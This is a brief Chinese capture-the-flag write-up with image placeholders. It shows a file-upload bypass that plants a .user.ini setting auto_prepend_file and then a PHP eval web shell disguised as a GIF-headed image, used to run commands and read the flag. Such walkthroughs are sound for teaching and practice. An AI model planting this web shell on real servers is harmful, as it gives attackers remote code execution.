图片.png

先上传.user.ini

GIF89a
auto_prepend_file=shell.png

图片.png

在上传shell.png

GIF89a
<script language="php">@eval($_REQUEST[a]);</script>

图片.png

访问/uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php执行命令读取flag

图片.png

查看源代码

图片.png